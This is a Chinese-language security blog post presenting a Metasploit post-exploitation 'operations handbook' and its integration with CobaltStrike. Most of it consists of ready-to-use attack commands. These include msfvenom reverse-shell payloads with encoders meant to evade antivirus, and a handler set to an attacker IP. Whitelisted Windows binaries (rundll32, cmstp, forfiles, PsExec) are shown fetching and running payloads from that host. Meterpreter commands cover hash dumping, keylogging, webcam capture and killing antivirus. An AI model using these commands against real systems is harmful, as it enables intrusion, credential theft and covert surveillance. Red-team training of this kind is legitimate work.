MSF 作战手册及联动 CobaltStrike

  • A+
所属分类:安全博客

MSF 作战手册及联动 CobaltStrike

一直一来由于比较喜欢 CS 的多人协同、插件和图形化界面,MSF 的研究相对较少,而 MSF 的模块以及漏洞利用方面的支持是优于CS 的,某些内网探测模块一直都很好用,而且控制的好,动静也并不会非常大。因此今天来探究下 Metasploit 后渗透框架以及和 CobaltStrike 的联动。

MSF 模块划分

MSF 作战手册及联动 CobaltStrike

  • 2146 个渗透攻击模块 (Exploits) - 选择并植入载荷获取权限
  • 1142 个辅助模块 (Auxiliary) - 扫描主机系统,寻找可用漏洞
  • 365 个后渗透攻击模块 (Post) - 用于内网渗透的各种操作
  • 592 个攻击载荷 (Payloads) - 渗透攻击成功后植入代码控制目标系统会话连接
  • 45 个编码器模块 (Encoders) - 选择编码技术,确保攻击载荷不会出现 “坏字符”
  • 10 个空指令模块 (Nops) - 在执行 shellcode 前加入一些空指令,避免攻击载荷在执行过程中出现随机地址或返回地址错误
  • 7 个免杀模块 (Evasion) - 对攻击载荷进行 “免杀”

Msfconsole 参数摘要

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
reload_all		#从目录重载所有模块
back #后退命令,移出当前上下文,用于模块切换
info #目标和模块详细信息
check #检查目标是否受某个漏洞影响

background #切到后台
sessions #会话管理
sessions -l #列出所有会话
sessions -K #终止所有会话
sessions -i id #进入某个会话
sessions -v #以详细模式列出会话
sessions -u #在许多平台上将shell升级到meterpreter会话

show options #显示可选选项
auxiliary #显示所有辅助模块
exploits #显示所有漏洞利用模块
payloads #显示所有有效载荷
targets #显示所有可用目标
advanced #显示更多高级选项
encoders #显示可用编码器列表

set proxies sock5:127.0.0.1:8000 #设置代理

辅助模块(Auxiliary)

端口扫描

1
2
3
4
5
6
use auxiliary/scanner/portmap/portmap_amp
use auxiliary/scanner/portscan/ftpbounce
use auxiliary/scanner/portscan/tcp
use auxiliary/scanner/portscan/ack
use auxiliary/scanner/portscan/syn
use auxiliary/scanner/portscan/xmas

服务扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
auxiliary/scanner/ssh/ssh_login		#SSH爆破
auxiliary/scanner/vnc/vnc_none_auth #VNC空口令扫描
auxiliary/scanner/telnet/telnet_login #Telnet爆破
auxiliary/scanner/smb/smb_version #SMB系统版本扫描
auxiliary/scanner/smb/smb_enumusers #SMB枚举
auxiliary/scanner/smb/smb_login #SMB弱口令登录
auxiliary/admin/smb/psexec_command #登录SMB且执行命令

auxiliary/scanner/redis/redis_login #Redis爆破
auxiliary/scanner/mssql/mssql_ping #MSSQL主机信息扫描
auxiliary/admin/mssql/mssql_enum #MSSQL枚举
auxiliary/scanner/mysql/mysql_login #MySQL弱口令扫描
auxiliary/admin/mysql/mysql_enum #MySQL枚举

Msfenvom 生成被控端

使用说明

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
Options:

-p, --payload <payload> 使用指定的payload
--payload-options 列出该payload参数
-l, --list [type] 列出所有的payloads
-n, --nopsled <length> 为payload指定一个 nopsled 长度
-f, --format <format> 指定payload生成格式
--help-formats 查看所有支持格式
-e, --encoder <encoder> 使用编码器
-a, --arch <arch> 指定payload构架
--platform <platform> 指定payload平台
--help-platforms 显示支持的平台
-s, --space <length> 设定payload攻击荷载的最大长度
--encoder-space <length> The maximum size of the encoded payload

(defaults to the -s value)
-b, --bad-chars <list> 指定bad-chars 如: '\x00\xff'
-i, --iterations <count> 指定编码次数
-c, --add-code <path> 指定个win32 shellcode 文件
-x, --template <path> 指定一个 executable 文件作为模板
-k, --keep payload自动分离并注入到新的进程
-o, --out <path> 存放生成的payload
-v, --var-name <name> 指定自定义变量
--smallest Generate the smallest possible payload
-h, --help 显示帮助文件

生成 shellcode

Windows

1
msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f c > shellcode.c

Linux

1
msfvenom -a x86 --platform Linux -p linux/x86/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f c > shellcode.c

Mac

1
msfvenom -a x86 --platform osx -p osx/x86/shell_reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f c > shellcode.c

生成 可执行文件

Windows

1
2
msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp
LHOST=攻击机IP LPORT=攻击机端口 -e x86/shikata_ga_nai -b '\x00\x0a\xff' -i 3 -f exe -o payload.exe

Linux

1
msfvenom -a x86 --platform Linux -p linux/x86/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f elf -o payload.elf

Mac

1
msfvenom -a x86 --platform osx -p osx/x86/shell_reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f macho -o payload.macho

Powershell

1
msfvenom -a x86 --platform Windows -p windows/powershell_reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -e cmd/powershell_base64 -i 3 -f raw -o payload.ps1

https://micro8.gitbook.io/micro8/contents-1/1-10/10msfvenom-chang-yong-sheng-cheng-payload-ming-ling

设置监听上线

Attacker:192.168.31.39

1
2
3
4
5
6
7
8
9
10
11
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 192.168.31.39
lhost => 192.168.31.39
msf6 exploit(multi/handler) > set lport 6666
lport => 6666
msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 192.168.31.39:6666

上线

1
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.31.39 LPORT=6666 -f exe > l.exe

MSF 作战手册及联动 CobaltStrike

1
2
meterpreter > getuid
Server username: WIN-R67KRMDJ8D3\Pow

Linux

1
msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.31.39 lport=6666 -f elf > go.elf

MSF 作战手册及联动 CobaltStrike

基于白名单上线

基于白名单 Rundll32 上线

Rundll32 可以以命令行的方式调用动态链接程序库,执行 DLL 文件中的内部函数

生成 dll 用于加载上线

1
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.31.39 lport=6666 -f dll > go.dll

上传 go.dll 到目标服务器,加载 rundll32.exe 运行

rundll32.exe目录:C:\Windows\SysWOW64\rundll32.exe

1
rundll32 shell32.dll,Control_RunDLL c:\Users\Pow\Desktop\go.dll

Bypass 执行命令

开启远程桌面

1
rundll32.exe javascript:"\..\mshtml.dll,RunHTMLApplication ";eval("w=new ActiveXObject(\"WScript.Shell\");w.run(\"mstsc\");window.close()");

基于白名单 odbcconf.exe上线

ODBCCONF.exe 是一种命令行工具,可用于配置 ODBC 驱动程序和数据源的名称。

执行命令

1
odbcconf.exe /a {regsvr C:\Users\Pow\Desktop\6666.dll}

基于 PsExec 上线

https://docs.microsoft.com/zh-cn/sysinternals/downloads/psexec

1
msfvenom -a x86 --platform windows -p  windows/meterpreter/reverse_tcp LHOST=192.168.31.39 LPORT=6666 -f msi > go.msi

使用 python 服务器模拟远程 VPS

1
PsExec.exe -d -s msiexec.exe /q /i http://192.168.31.39:8000/go.msi

缺点:第一次运行会弹窗

基于白名单 Forfiles 远程加载 Payload 上线

Forfiles 为 Windows 默认安装的文件操作搜索工具之一,可根据日期,后缀名,修改日期为条件。常与批处理配合使用。

1
forfiles /p c:\windows\system32 /m cmd.exe /c  "msiexec.exe /q /i http://192.168.31.39:8000/go.msi"

缺点:需要让攻击者手动点击安装,还需要过UAC

基于白名单 Pcalua 上线

Windows进程兼容性助理(Program Compatibility Assistant)的一个组件。

1
Pcalua -m -a l.exe

基于白名单Cmstp.exe 上线

新建 l.inf 文件 修改 RegisterOCXSection 为 MSF生成的dll路径

1
2
3
4
5
6
7
8
9
10
11
12
13
14
[version]
Signature=$chicago$
AdvancedINF=2.5

[DefaultInstall_SingleUser]
RegisterOCXs=RegisterOCXSection

[RegisterOCXSection]
C:\Users\Pow\Desktop\go.dll

[Strings]
AppAct = "SOFTWARE\Microsoft\Connection Manager"
ServiceName="saul"
ShortSvcName="saul"

把 go.dll 和 l.inf 上传,运行命令加载上线

1
cmstp.exe /s l.inf

https://micro8.gitbook.io/micro8/contents-1/71-80

Meterpreter用例

刚获得Meterpreter Shell时,该Shell是极其脆弱的,可以把它和目标机中一个稳定的程序绑定

1
2
3
getpid			#查看当前Meterpreter Shell的进程号
ps #获取目标机正运行的进程
migrate 476 #将shell迁移到PID为786的进程中

命令摘要

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
pwd、ls、cd
getuid #查看当前权限
getsystem #获得系统管理员权限(要本地管理员权限运行)
hashdump #抓哈希密码
sysinfo #查看系统信息
idletim #查看目标系统已运行时间
route #查看目标机完整网络设置
shell #进入目标机shell,exit退出she
background #将meterpreter隐藏在后台

upload ./1.txt c:\\1.txt #上传文件
download c:\1.txt ./ #下载文件
search -f *.txt -d c:// #搜索文件

keyscan_start #启动键盘记录
keyscan_stop #停止键盘记录
keyscan_dump #转储键盘记录的内容
screenshot #抓取截屏
webcam_list #摄像头列表
webcam_snap #摄像头拍照
webcam_stream #抓取视频

#Kali-Linux下登录远程桌面
sudo rdesktop -f 目标IP

route add IP 子网掩码 #添加路由,先background

后渗透模块(Post)

1
2
3
4
5
6
7
8
run post/windows/gather/checkvm		#检查目标是否虚拟机
run post/linux/gather/checkvm
run post/windows/manage/killav #关闭杀软
run post/windows/manage/enable_rdp #开启目标远程桌面
run post/windows/gather/enum_logged_on_users #列举当前登陆用户,和最近登陆过的用户
run post/windows/gather/enum_applications #列举应用程序
run post/windows/gather/smart_hashdump #智能读 hash
run windows/gather/credentials/windows_autologin#列举自动登陆的用户名和密码

派生 Shell 给 CobaltStrike

1
2
3
4
5
6
7
8
background
use exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_http
set LHOST xx.x.x.x # CS IP
set LPORT xx # CS http监听端口
set session 1
set DISABLEPAYLOADHANDLER true
run

CS 派生 MSF

1
2
3
4
5
use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set lhost xx.xx.xx.xx
set lport xx
run

选择 foreign 类型的监听进行 Spawn,填写MSF 的 IP 和监听端口

MSF 作战手册及联动 CobaltStrike

FROM : lintstar.top , Author: 离沫凌天๓

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: